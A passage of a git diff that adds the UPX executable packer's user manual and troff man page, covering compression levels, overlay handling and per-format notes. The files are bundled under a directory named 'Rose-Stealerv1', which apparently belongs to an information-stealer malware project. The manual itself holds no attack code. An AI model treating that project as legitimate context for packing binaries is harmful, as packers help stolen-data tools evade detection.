+ List + The -l command prints out some information about the compressed files + specified on the command line as parameters, eg upx -l yourfile.exe + shows the compressed / uncompressed size and the compression ratio of + *yourfile.exe*. + +OPTIONS + -q: be quiet, suppress warnings + + -q -q (or -qq): be very quiet, suppress errors + + -q -q -q (or -qqq): produce no output at all + + --help: prints the help + + --version: print the version of UPX + + --exact: when compressing, require to be able to get a byte-identical + file after decompression with option -d. [NOTE: this is work in progress + and is not supported for all formats yet. If you do care, as a + workaround you can compress and then decompress your program a first + time - any further compress-decompress steps should then yield + byte-identical results as compared to the first decompressed version.] + + -k: keep backup files + + -o file: write output to file + + [ ...more docs need to be written... - type `upx --help' for now ] + +COMPRESSION LEVELS & TUNING + UPX offers ten different compression levels from -1 to -9, and --best. + The default compression level is -8 for files smaller than 512 KiB, and + -7 otherwise. + + * Compression levels 1, 2 and 3 are pretty fast. + + * Compression levels 4, 5 and 6 achieve a good time/ratio performance. + + * Compression levels 7, 8 and 9 favor compression ratio over speed. + + * Compression level --best may take a long time. + + Note that compression level --best can be somewhat slow for large files, + but you definitely should use it when releasing a final version of your + program. + + Quick info for achieving the best compression ratio: + + * Try upx --brute --no-lzma myfile.exe or even upx --ultra-brute + --no-lzma myfile.exe. + + * The option --lzma enables LZMA compression, which compresses better + but is *significantly slower* at decompression. You probably do not + want to use it for large files. + + (Note that --lzma is automatically enabled by --all-methods and + --brute, use --no-lzma to override.) + + * Try if --overlay=strip works. + + * For win32/pe programs there's --strip-relocs=0. See notes below. + +OVERLAY HANDLING OPTIONS + Info: An "overlay" means auxiliary data attached after the logical end + of an executable, and it often contains application specific data (this + is a common practice to avoid an extra data file, though it would be + better to use resource sections). + + UPX handles overlays like many other executable packers do: it simply + copies the overlay after the compressed image. This works with some + files, but doesn't work with others, depending on how an application + actually accesses this overlaid data. + + --overlay=copy Copy any extra data attached to the file. [DEFAULT] + + --overlay=strip Strip any overlay from the program instead of + copying it. Be warned, this may make the compressed + program crash or otherwise unusable. + + --overlay=skip Refuse to compress any program which has an overlay. + +ENVIRONMENT VARIABLE + The environment variable UPX can hold a set of default options for UPX. + These options are interpreted first and can be overwritten by explicit + command line parameters. For example: + + for DOS/Windows: set UPX=-9 --compress-icons#0 + for sh/ksh/zsh: UPX="-9 --compress-icons=0"; export UPX + for csh/tcsh: setenv UPX "-9 --compress-icons=0" + + Under DOS/Windows you must use '#' instead of '=' when setting the + environment variable because of a COMMAND.COM limitation. + + Not all of the options are valid in the environment variable - UPX will + tell you. + + You can explicitly use the --no-env option to ignore the environment + variable. + +NOTES FOR THE SUPPORTED EXECUTABLE FORMATS + NOTES FOR ATARI/TOS + This is the executable format used by the Atari ST/TT, a Motorola 68000 + based personal computer which was popular in the late '80s. Support of + this format is only because of nostalgic feelings of one of the authors + and serves no practical purpose :-). See https://freemint.github.io for + more info. + + Packed programs will be byte-identical to the original after + uncompression. All debug information will be stripped, though. + + Extra options available for this executable format: + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + NOTES FOR BVMLINUZ/I386 + Same as vmlinuz/i386. + + NOTES FOR DOS/COM + Obviously UPX won't work with executables that want to read data from + themselves (like some commandline utilities that ship with Win95/98/ME). + + Compressed programs only work on a 286+. + + Packed programs will be byte-identical to the original after + uncompression. + + Maximum uncompressed size: ~65100 bytes. + + Extra options available for this executable format: + + --8086 Create an executable that works on any 8086 CPU. + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + --all-filters Compress the program several times, using all + available preprocessing filters. This may improve + the compression ratio in some cases, but usually + the default filter gives the best results anyway. + + NOTES FOR DOS/EXE + dos/exe stands for all "normal" 16-bit DOS executables. + + Obviously UPX won't work with executables that want to read data from + themselves (like some command line utilities that ship with + Win95/98/ME). + + Compressed programs only work on a 286+. + + Extra options available for this executable format: + + --8086 Create an executable that works on any 8086 CPU. + + --no-reloc Use no relocation records in the exe header. + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + NOTES FOR DOS/SYS + Compressed programs only work on a 286+. + + Packed programs will be byte-identical to the original after + uncompression. + + Maximum uncompressed size: ~65350 bytes. + + Extra options available for this executable format: + + --8086 Create an executable that works on any 8086 CPU. + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + --all-filters Compress the program several times, using all + available preprocessing filters. This may improve + the compression ratio in some cases, but usually + the default filter gives the best results anyway. + + NOTES FOR DJGPP2/COFF + First of all, it is recommended to use UPX *instead* of strip. strip has + the very bad habit of replacing your stub with its own (outdated) + version. Additionally UPX corrects a bug/feature in strip v2.8.x: it + will fix the 4 KiB alignment of the stub. + + UPX includes the full functionality of stubify. This means it will + automatically stubify your COFF files. Use the option --coff to disable + this functionality (see below). + + UPX automatically handles Allegro packfiles. + + The DLM format (a rather exotic shared library extension) is not + supported. + + Packed programs will be byte-identical to the original after + uncompression. All debug information and trailing garbage will be + stripped, though. + + Extra options available for this executable format: + + --coff Produce COFF output instead of EXE. By default + UPX keeps your current stub. + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + --all-filters Compress the program several times, using all + available preprocessing filters. This may improve + the compression ratio in some cases, but usually + the default filter gives the best results anyway. + + NOTES FOR LINUX [general] + Introduction + + Linux/386 support in UPX consists of 3 different executable formats, + one optimized for ELF executables ("linux/elf386"), one optimized + for shell scripts ("linux/sh386"), and one generic format + ("linux/386"). + + We will start with a general discussion first, but please + also read the relevant docs for each of the individual formats. + + Also, there is special support for bootable kernels - see the + description of the vmlinuz/386 format. + + General user's overview + + Running a compressed executable program trades less space on a + ``permanent'' storage medium (such as a hard disk, floppy disk, + CD-ROM, flash memory, EPROM, etc.) for more space in one or more + ``temporary'' storage media (such as RAM, swap space, /tmp, etc.). + Running a compressed executable also requires some additional CPU + cycles to generate the compressed executable in the first place, + and to decompress it at each invocation. + + How much space is traded? It depends on the executable, but many + programs save 30% to 50% of permanent disk space. How much CPU + overhead is there? Again, it depends on the executable, but + decompression speed generally is at least many megabytes per second, + and frequently is limited by the speed of the underlying disk + or network I/O. + + Depending on the statistics of usage and access, and the relative + speeds of CPU, RAM, swap space, /tmp, and file system storage, then + invoking and running a compressed executable can be faster than + directly running the corresponding uncompressed program. + The operating system might perform fewer expensive I/O operations + to invoke the compressed program. Paging to or from swap space + or /tmp might be faster than paging from the general file system. + ``Medium-sized'' programs which access about 1/3 to 1/2 of their + stored program bytes can do particularly well with compression. + Small programs tend not to benefit as much because the absolute + savings is less. Big programs tend not to benefit proportionally + because each invocation may use only a small fraction of the program, + yet UPX decompresses the entire program before invoking it. + But in environments where disk or flash memory storage is limited, + then compression may win anyway. + + Currently, executables compressed by UPX do not share RAM at runtime + in the way that executables mapped from a file system do. As a + result, if the same program is run simultaneously by more than one + process, then using the compressed version will require more RAM and/or + swap space. So, shell programs (bash, csh, etc.) and ``make'' + might not be good candidates for compression. + + UPX recognizes three executable formats for Linux: Linux/elf386, + Linux/sh386, and Linux/386. Linux/386 is the most generic format; + it accommodates any file that can be executed. At runtime, the UPX + decompression stub re-creates in /tmp a copy of the original file, + and then the copy is (re-)executed with the same arguments. + ELF binary executables prefer the Linux/elf386 format by default, + because UPX decompresses them directly into RAM, uses only one + exec, does not use space in /tmp, and does not use /proc. + Shell scripts where the underlying shell accepts a ``-c'' argument + can use the Linux/sh386 format. UPX decompresses the shell script + into low memory, then maps the shell and passes the entire text of the + script as an argument with a leading ``-c''. + + General benefits: + + - UPX can compress all executables, be it AOUT, ELF, libc4, libc5, + libc6, Shell/Perl/Python/... scripts, standalone Java .class + binaries, or whatever... + All scripts and programs will work just as before. + + - Compressed programs are completely self-contained. No need for + any external program. + + - UPX keeps your original program untouched. This means that + after decompression you will have a byte-identical version, + and you can use UPX as a file compressor just like gzip. + [ Note that UPX maintains a checksum of the file internally, + so it is indeed a reliable alternative. ] + + - As the stub only uses syscalls and isn't linked against libc it + should run under any Linux configuration that can run ELF + binaries. + + - For the same reason compressed executables should run under + FreeBSD and other systems which can run Linux binaries. + [ Please send feedback on this topic ] + + General drawbacks: + + - It is not advisable to compress programs which usually have many + instances running (like `sh' or `make') because the common segments of + compressed programs won't be shared any longer between different + processes. + + - `ldd' and `size' won't show anything useful because all they + see is the statically linked stub. Since version 0.82 the section + headers are stripped from the UPX stub and `size' doesn't even + recognize the file format. The file patches/patch-elfcode.h has a + patch to fix this bug in `size' and other programs which use GNU BFD. + + General notes: + + - As UPX leaves your original program untouched it is advantageous + to strip it before compression. + + - If you compress a script you will lose platform independence - + this could be a problem if you are using NFS mounted disks. + + - Compression of suid, guid and sticky-bit programs is rejected + because of possible security implications. + + - For the same reason there is no sense in making any compressed + program suid. + + - Obviously UPX won't work with executables that want to read data + from themselves. E.g., this might be a problem for Perl scripts + which access their __DATA__ lines. + + - In case of internal errors the stub will abort with exitcode 127. + Typical reasons for this to happen are that the program has somehow + been modified after compression. + Running `strace -o strace.log compressed_file' will tell you more. + + NOTES FOR LINUX/ELF386 + Please read the general Linux description first. + + The linux/elf386 format decompresses directly into RAM, uses only one + exec, does not use space in /tmp, and does not use /proc. + + Linux/elf386 is automatically selected for Linux ELF executables. + + Packed programs will be byte-identical to the original after + uncompression. + + How it works: + + For ELF executables, UPX decompresses directly to memory, simulating + the mapping that the operating system kernel uses during exec(), + including the PT_INTERP program interpreter (if any). + The brk() is set by a special PT_LOAD segment in the compressed + executable itself. UPX then wipes the stack clean except for + arguments, environment variables, and Elf_auxv entries (this is + required by bugs in the startup code of /lib/ld-linux.so as of + May 2000), and transfers control to the program interpreter or + the e_entry address of the original executable. + + The UPX stub is about 1700 bytes long, partly written in assembler + and only uses kernel syscalls. It is not linked against any libc. + + Specific drawbacks: + + - For linux/elf386 and linux/sh386 formats, you will be relying on + RAM and swap space to hold all of the decompressed program during + the lifetime of the process. If you already use most of your swap + space, then you may run out. A system that is "out of memory" + can become fragile. Many programs do not react gracefully when + malloc() returns 0. With newer Linux kernels, the kernel + may decide to kill some processes to regain memory, and you + may not like the kernel's choice of which to kill. Running + /usr/bin/top is one way to check on the usage of swap space. + + Extra options available for this executable format: + + (none) + + NOTES FOR LINUX/SH386 + Please read the general Linux description first. + + Shell scripts where the underling shell accepts a ``-c'' argument can + use the Linux/sh386 format. UPX decompresses the shell script into low + memory, then maps the shell and passes the entire text of the script as + an argument with a leading ``-c''. It does not use space in /tmp, and + does not use /proc. + + Linux/sh386 is automatically selected for shell scripts that use a known + shell. + + Packed programs will be byte-identical to the original after + uncompression. + + How it works: + + For shell script executables (files beginning with "#!/" or "#! /") + where the shell is known to accept "-c ", UPX decompresses + the file into low memory, then maps the shell (and its PT_INTERP), + and passes control to the shell with the entire decompressed file + as the argument after "-c". Known shells are sh, ash, bash, bsh, csh, + ksh, tcsh, pdksh. Restriction: UPX cannot use this method + for shell scripts which use the one optional string argument after + the shell name in the script (example: "#! /bin/sh option3\n".) + + The UPX stub is about 1700 bytes long, partly written in assembler + and only uses kernel syscalls. It is not linked against any libc. + + Specific drawbacks: + + - For linux/elf386 and linux/sh386 formats, you will be relying on + RAM and swap space to hold all of the decompressed program during + the lifetime of the process. If you already use most of your swap + space, then you may run out. A system that is "out of memory" + can become fragile. Many programs do not react gracefully when + malloc() returns 0. With newer Linux kernels, the kernel + may decide to kill some processes to regain memory, and you + may not like the kernel's choice of which to kill. Running + /usr/bin/top is one way to check on the usage of swap space. + + Extra options available for this executable format: + + (none) + + NOTES FOR LINUX/386 + Please read the general Linux description first. + + The generic linux/386 format decompresses to /tmp and needs /proc file + system support. It starts the decompressed program via the execve() + syscall. + + Linux/386 is only selected if the specialized linux/elf386 and + linux/sh386 won't recognize a file. + + Packed programs will be byte-identical to the original after + uncompression. + + How it works: + + For files which are not ELF and not a script for a known "-c" shell, + UPX uses kernel execve(), which first requires decompressing to a + temporary file in the file system. Interestingly - + because of the good memory management of the Linux kernel - this + often does not introduce a noticeable delay, and in fact there + will be no disk access at all if you have enough free memory as + the entire process takes places within the file system buffers. + + A compressed executable consists of the UPX stub and an overlay + which contains the original program in a compressed form. + + The UPX stub is a statically linked ELF executable and does + the following at program startup: + + 1) decompress the overlay to a temporary location in /tmp + 2) open the temporary file for reading + 3) try to delete the temporary file and start (execve) + the uncompressed program in /tmp using /proc//fd/X as + attained by step 2) + 4) if that fails, fork off a subprocess to clean up and + start the program in /tmp in the meantime + + The UPX stub is about 1700 bytes long, partly written in assembler + and only uses kernel syscalls. It is not linked against any libc. + + Specific drawbacks: + + - You need additional free disk space for the uncompressed program + in your /tmp directory. This program is deleted immediately after + decompression, but you still need it for the full execution time + of the program. + + - You must have /proc file system support as the stub wants to open + /proc//exe and needs /proc//fd/X. This also means that you + cannot compress programs that are used during the boot sequence + before /proc is mounted. + + - Utilities like `top' will display numerical values in the process + name field. This is because Linux computes the process name from + the first argument of the last execve syscall (which is typically + something like /proc//fd/3). + + - Because of temporary decompression to disk the decompression speed + is not as fast as with the other executable formats. Still, I can see + no noticeable delay when starting programs like my ~3 MiB emacs (which + is less than 1 MiB when compressed :-). + + Extra options available for this executable format: + + --force-execve Force the use of the generic linux/386 "execve" + format, i.e. do not try the linux/elf386 and + linux/sh386 formats. + + NOTES FOR PS1/EXE + This is the executable format used by the Sony PlayStation (PSone), a + MIPS R3000 based gaming console which is popular since the late '90s. + Support of this format is very similar to the Atari one, because of + nostalgic feelings of one of the authors. + + Packed programs will be byte-identical to the original after + uncompression, until further notice. + + Maximum uncompressed size: ~1.89 / ~7.60 MiB. + + Notes: + + - UPX creates as default a suitable executable for CD-Mastering + and console transfer. For a CD-Master main executable you could also try + the special option "--boot-only" as described below. + It has been reported that upx packed executables are fully compatible with + the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in + Sony PlayStation (PSone) emulation mode. + + - Normally the packed files use the same memory areas like the uncompressed + versions, so they will not override other memory areas while unpacking. + If this isn't possible UPX will abort showing a 'packed data overlap' + error. With the "--force" option UPX will relocate the loading address + for the packed file, but this isn't a real problem if it is a single or + the main executable. + + Extra options available for this executable format: + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + --8-bit Uses 8 bit size compression [default: 32 bit] + + --8mib-ram PSone has 8 MiB ram available [default: 2 MiB] + + --boot-only This format is for main exes and CD-Mastering only ! + It may slightly improve the compression ratio, + decompression routines are faster than default ones. + But it cannot be used for console transfer ! + + --no-align This option disables CD mode 2 data sector format + alignment. May slightly improves the compression ratio, + but the compressed executable will not boot from a CD. + Use it for console transfer only ! + + NOTES FOR RTM32/PE and ARM/PE + Same as win32/pe. + + NOTES FOR TMT/ADAM + This format is used by the TMT Pascal compiler - see http://www.tmt.com/ + . + + Extra options available for this executable format: + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + --all-filters Compress the program several times, using all + available preprocessing filters. This may improve + the compression ratio in some cases, but usually + the default filter gives the best results anyway. + + NOTES FOR VMLINUZ/386 + The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed bootable + Linux kernel image ("vmlinuz", "zImage", "bzImage"), gzip-decompress it + and re-compress it with the UPX compression method. + + vmlinuz/386 is completely unrelated to the other Linux executable + formats, and it does not share any of their drawbacks. + + Notes: + + - Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed + during compression - otherwise a wrong executable format + may have been used, and the kernel won't boot. + + Benefits: + + - Better compression (but note that the kernel was already compressed, + so the improvement is not as large as with other formats). + Still, the bytes saved may be essential for special needs like + boot disks. + + For example, this is what I get for my 2.2.16 kernel: + 1589708 vmlinux + 641073 bzImage [original] + 560755 bzImage.upx [compressed by "upx -9"] + + - Much faster decompression at kernel boot time (but kernel + decompression speed is not really an issue these days). + + Drawbacks: + + (none) + + Extra options available for this executable format: + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + --all-filters Compress the program several times, using all + available preprocessing filters. This may improve + the compression ratio in some cases, but usually + the default filter gives the best results anyway. + + NOTES FOR WATCOM/LE + UPX has been successfully tested with the following extenders: DOS4G, + DOS4GW, PMODE/W, DOS32a, CauseWay. The WDOS/X extender is partly + supported (for details see the file bugs BUGS). + + DLLs and the LX format are not supported. + + Extra options available for this executable format: + + --le Produce an unbound LE output instead of + keeping the current stub. + + NOTES FOR WIN32/PE + The PE support in UPX is quite stable now, but probably there are still + some incompatibilities with some files. + + Because of the way UPX (and other packers for this format) works, you + can see increased memory usage of your compressed files because the + whole program is loaded into memory at startup. If you start several + instances of huge compressed programs you're wasting memory because the + common segments of the program won't get shared across the instances. On + the other hand if you're compressing only smaller programs, or running + only one instance of larger programs, then this penalty is smaller, but + it's still there. + + If you're running executables from network, then compressed programs + will load faster, and require less bandwidth during execution. + + DLLs are supported. But UPX compressed DLLs can not share common data + and code when they got used by multiple applications. So compressing + msvcrt.dll is a waste of memory, but compressing the dll plugins of a + particular application may be a better idea. + + Screensavers are supported, with the restriction that the filename must + end with ".scr" (as screensavers are handled slightly different than + normal exe files). + + UPX compressed PE files have some minor memory overhead (usually in the + 10 - 30 KiB range) which can be seen by specifying the "-i" command line + switch during compression. + + Extra options available for this executable format: + + --compress-exports=0 Don't compress the export section. + Use this if you plan to run the compressed + program under Wine. + --compress-exports=1 Compress the export section. [DEFAULT] + Compression of the export section can improve the + compression ratio quite a bit but may not work + with all programs (like winword.exe). + UPX never compresses the export section of a DLL + regardless of this option. + + --compress-icons=0 Don't compress any icons. + --compress-icons=1 Compress all but the first icon. + --compress-icons=2 Compress all icons which are not in the + first icon directory. [DEFAULT] + --compress-icons=3 Compress all icons. + + --compress-resources=0 Don't compress any resources at all. + + --keep-resource=list Don't compress resources specified by the list. + The members of the list are separated by commas. + A list member has the following format: I. + I is the type of the resource. Standard types + must be specified as decimal numbers, user types can be + specified by decimal IDs or strings. I is the + identifier of the resource. It can be a decimal number + or a string. For example: + + --keep-resource=2/MYBITMAP,5,6/12345 + + UPX won't compress the named bitmap resource "MYBITMAP", + it leaves every dialog (5) resource uncompressed, and + it won't touch the string table resource with identifier + 12345. + + --force Force compression even when there is an + unexpected value in a header field. + Use with care. + + --strip-relocs=0 Don't strip relocation records. + --strip-relocs=1 Strip relocation records. [DEFAULT] + This option only works on executables with base + address greater or equal to 0x400000. Usually the + compressed files becomes smaller, but some files + may become larger. Note that the resulting file will + not work under Windows 3.x (Win32s). + UPX never strips relocations from a DLL + regardless of this option. + + --all-methods Compress the program several times, using all + available compression methods. This may improve + the compression ratio in some cases, but usually + the default method gives the best results anyway. + + --all-filters Compress the program several times, using all + available preprocessing filters. This may improve + the compression ratio in some cases, but usually + the default filter gives the best results anyway. + +DIAGNOSTICS + Exit status is normally 0; if an error occurs, exit status is 1. If a + warning occurs, exit status is 2. + + UPX's diagnostics are intended to be self-explanatory. + +BUGS + Please report all bugs immediately to the authors. + +AUTHORS + Markus F.X.J. Oberhumer + http://www.oberhumer.com + + Laszlo Molnar + + John F. Reiser + + Jens Medoch + +COPYRIGHT + Copyright (C) 1996-2023 Markus Franz Xaver Johannes Oberhumer + + Copyright (C) 1996-2023 Laszlo Molnar + + Copyright (C) 2000-2023 John F. Reiser + + Copyright (C) 2002-2023 Jens Medoch + + UPX is distributed with full source code under the terms of the GNU + General Public License v2+; either under the pure GPLv2+ (see the file + COPYING), or (at your option) under the GPLv+2 with special exceptions + and restrictions granting the free usage for all binaries including + commercial programs (see the file LICENSE). + + This program is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + You should have received a copy of the UPX License Agreements along with + this program; see the files COPYING and LICENSE. If not, visit the UPX + home page. + diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx.1 b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx.1 new file mode 100644 index 0000000..2427731 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/upx.1 @@ -0,0 +1,1042 @@ +.\" Automatically generated by Pod::Man 4.14 (Pod::Simple 3.42) +.\" +.\" Standard preamble: +.\" ======================================================================== +.de Sp \" Vertical space (when we can't use .PP) +.if t .sp .5v +.if n .sp +.. +.de Vb \" Begin verbatim text +.ft CW +.nf +.ne \\$1 +.. +.de Ve \" End verbatim text +.ft R +.fi +.. +.\" Set up some character translations and predefined strings. \*(-- will +.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left +.\" double quote, and \*(R" will give a right double quote. \*(C+ will +.\" give a nicer C++. Capital omega is used to do unbreakable dashes and +.\" therefore won't be available. \*(C` and \*(C' expand to `' in nroff, +.\" nothing in troff, for use with C<>. +.tr \(*W- +.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' +.ie n \{\ +. ds -- \(*W- +. ds PI pi +. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch +. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch +. ds L" "" +. ds R" "" +. ds C` "" +. ds C' "" +'br\} +.el\{\ +. ds -- \|\(em\| +. ds PI \(*p +. ds L" `` +. ds R" '' +. ds C` +. ds C' +'br\} +.\" +.\" Escape single quotes in literal strings from groff's Unicode transform. +.ie \n(.g .ds Aq \(aq +.el .ds Aq ' +.\" +.\" If the F register is >0, we'll generate index entries on stderr for +.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index +.\" entries marked with X<> in POD. Of course, you'll have to process the +.\" output yourself in some meaningful fashion. +.\" +.\" Avoid warning from groff about undefined register 'F'. +.de IX +.. +.nr rF 0 +.if \n(.g .if rF .nr rF 1 +.if (\n(rF:(\n(.g==0)) \{\ +. if \nF \{\ +. de IX +. tm Index:\\$1\t\\n%\t"\\$2" +.. +. if !\nF==2 \{\ +. nr % 0 +. nr F 2 +. \} +. \} +.\} +.rr rF +.\" +.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). +.\" Fear. Run. Save yourself. No user-serviceable parts. +. \" fudge factors for nroff and troff +.if n \{\ +. ds #H 0 +. ds #V .8m +. ds #F .3m +. ds #[ \f1 +. ds #] \fP +.\} +.if t \{\ +. ds #H ((1u-(\\\\n(.fu%2u))*.13m) +. ds #V .6m +. ds #F 0 +. ds #[ \& +. ds #] \& +.\} +. \" simple accents for nroff and troff +.if n \{\ +. ds ' \& +. ds ` \& +. ds ^ \& +. ds , \& +. ds ~ ~ +. ds / +.\} +.if t \{\ +. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" +. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' +. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' +. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' +. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' +. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' +.\} +. \" troff and (daisy-wheel) nroff accents +.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' +.ds 8 \h'\*(#H'\(*b\h'-\*(#H' +.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] +.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' +.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' +.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] +.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] +.ds ae a\h'-(\w'a'u*4/10)'e +.ds Ae A\h'-(\w'A'u*4/10)'E +. \" corrections for vroff +.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' +.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' +. \" for low resolution devices (crt and lpr) +.if \n(.H>23 .if \n(.V>19 \ +\{\ +. ds : e +. ds 8 ss +. ds o a +. ds d- d\h'-1'\(ga +. ds D- D\h'-1'\(hy +. ds th \o'bp' +. ds Th \o'LP' +. ds ae ae +. ds Ae AE +.\} +.rm #[ #] #H #V #F C +.\" ======================================================================== +.\" +.IX Title "UPX 1" +.TH UPX 1 "2023-08-08" "upx 4.1.0" " " +.\" For nroff, turn off justification. Always turn off hyphenation; it makes +.\" way too many mistakes in technical documents. +.if n .ad l +.nh +.SH "NAME" +upx \- compress or expand executable files +.SH "SYNOPSIS" +.IX Header "SYNOPSIS" +\&\fBupx\fR [\ \fIcommand\fR\ ] [\ \fIoptions\fR\ ] \fIfilename\fR... +.SH "ABSTRACT" +.IX Header "ABSTRACT" +.Vb 3 +\& The Ultimate Packer for eXecutables +\& Copyright (c) 1996\-2023 Markus Oberhumer, Laszlo Molnar & John Reiser +\& https://upx.github.io +.Ve +.PP +\&\fB\s-1UPX\s0\fR is a portable, extendable, high-performance executable packer for +several different executable formats. It achieves an excellent compression +ratio and offers \fI*very*\fR fast decompression. Your executables suffer +no memory overhead or other drawbacks for most of the formats supported, +because of in-place decompression. +.SH "DISCLAIMER" +.IX Header "DISCLAIMER" +\&\fB\s-1UPX\s0\fR comes with \s-1ABSOLUTELY NO WARRANTY\s0; for details see the file \s-1COPYING.\s0 +.PP +Please report all problems or suggestions to the authors. Thanks. +.SH "SECURITY CONTEXT" +.IX Header "SECURITY CONTEXT" +\&\s-1IMPORTANT NOTE:\s0 \fB\s-1UPX\s0\fR inherits the security context of any files it handles. +.PP +This means that packing, unpacking, or even testing or listing a file requires +the same security considerations as actually executing the file. +.PP +Use \fB\s-1UPX\s0\fR on trusted files only! +.SH "DESCRIPTION" +.IX Header "DESCRIPTION" +\&\fB\s-1UPX\s0\fR is a versatile executable packer with the following features: +.PP +.Vb 3 +\& \- secure: as UPX is documented Open Source since many years any relevant +\& Security/Antivirus software is able to peek inside UPX compressed +\& apps to verify them +\& +\& \- excellent compression ratio: typically compresses better than Zip, +\& use UPX to decrease the size of your distribution ! +\& +\& \- very fast decompression: more than 500 MB/sec on any reasonably modern +\& machine +\& +\& \- no memory overhead for your compressed executables for most of the +\& supported formats because of in\-place decompression +\& +\& \- safe: you can list, test and unpack your executables. +\& Also, a checksum of both the compressed and uncompressed file is +\& maintained internally. +\& +\& \- universal: UPX can pack a number of executable formats, including +\& Windows programs and DLLs, macOS apps and Linux executables +\& +\& \- portable: UPX is written in portable endian\-neutral C++ +\& +\& \- extendable: because of the class layout it\*(Aqs very easy to support +\& new executable formats or add new compression algorithms +\& +\& \- free: UPX is distributed with full source code under the GNU General +\& Public License v2+, with special exceptions granting the free usage +\& for commercial programs +.Ve +.PP +You probably understand now why we call \fB\s-1UPX\s0\fR the "\fIultimate\fR" +executable packer. +.SH "COMMANDS" +.IX Header "COMMANDS" +.SS "Compress" +.IX Subsection "Compress" +This is the default operation, eg. \fBupx yourfile.exe\fR will compress the file +specified on the command line. +.SS "Decompress" +.IX Subsection "Decompress" +All \fB\s-1UPX\s0\fR supported file formats can be unpacked using the \fB\-d\fR switch, eg. +\&\fBupx \-d yourfile.exe\fR will uncompress the file you've just compressed. +.SS "Test" +.IX Subsection "Test" +The \fB\-t\fR command tests the integrity of the compressed and uncompressed +data, eg. \fBupx \-t yourfile.exe\fR check whether your file can be safely +decompressed. Note, that this command doesn't check the whole file, only +the part that will be uncompressed during program execution. This means +that you should not use this command instead of a virus checker. +.SS "List" +.IX Subsection "List" +The \fB\-l\fR command prints out some information about the compressed files +specified on the command line as parameters, eg \fBupx \-l yourfile.exe\fR +shows the compressed / uncompressed size and the compression ratio of +\&\fIyourfile.exe\fR. +.SH "OPTIONS" +.IX Header "OPTIONS" +\&\fB\-q\fR: be quiet, suppress warnings +.PP +\&\fB\-q \-q\fR (or \fB\-qq\fR): be very quiet, suppress errors +.PP +\&\fB\-q \-q \-q\fR (or \fB\-qqq\fR): produce no output at all +.PP +\&\fB\-\-help\fR: prints the help +.PP +\&\fB\-\-version\fR: print the version of \fB\s-1UPX\s0\fR +.PP +\&\fB\-\-exact\fR: when compressing, require to be able to get a byte-identical file +after decompression with option \fB\-d\fR. [\s-1NOTE:\s0 this is work in progress and is +not supported for all formats yet. If you do care, as a workaround you can +compress and then decompress your program a first time \- any further +compress-decompress steps should then yield byte-identical results +as compared to the first decompressed version.] +.PP +\&\fB\-k\fR: keep backup files +.PP +\&\fB\-o file\fR: write output to file +.PP +[ ...more docs need to be written... \- type `\fBupx \-\-help\fR' for now ] +.SH "COMPRESSION LEVELS & TUNING" +.IX Header "COMPRESSION LEVELS & TUNING" +\&\fB\s-1UPX\s0\fR offers ten different compression levels from \fB\-1\fR to \fB\-9\fR, +and \fB\-\-best\fR. The default compression level is \fB\-8\fR for files +smaller than 512 KiB, and \fB\-7\fR otherwise. +.IP "\(bu" 4 +Compression levels 1, 2 and 3 are pretty fast. +.IP "\(bu" 4 +Compression levels 4, 5 and 6 achieve a good time/ratio performance. +.IP "\(bu" 4 +Compression levels 7, 8 and 9 favor 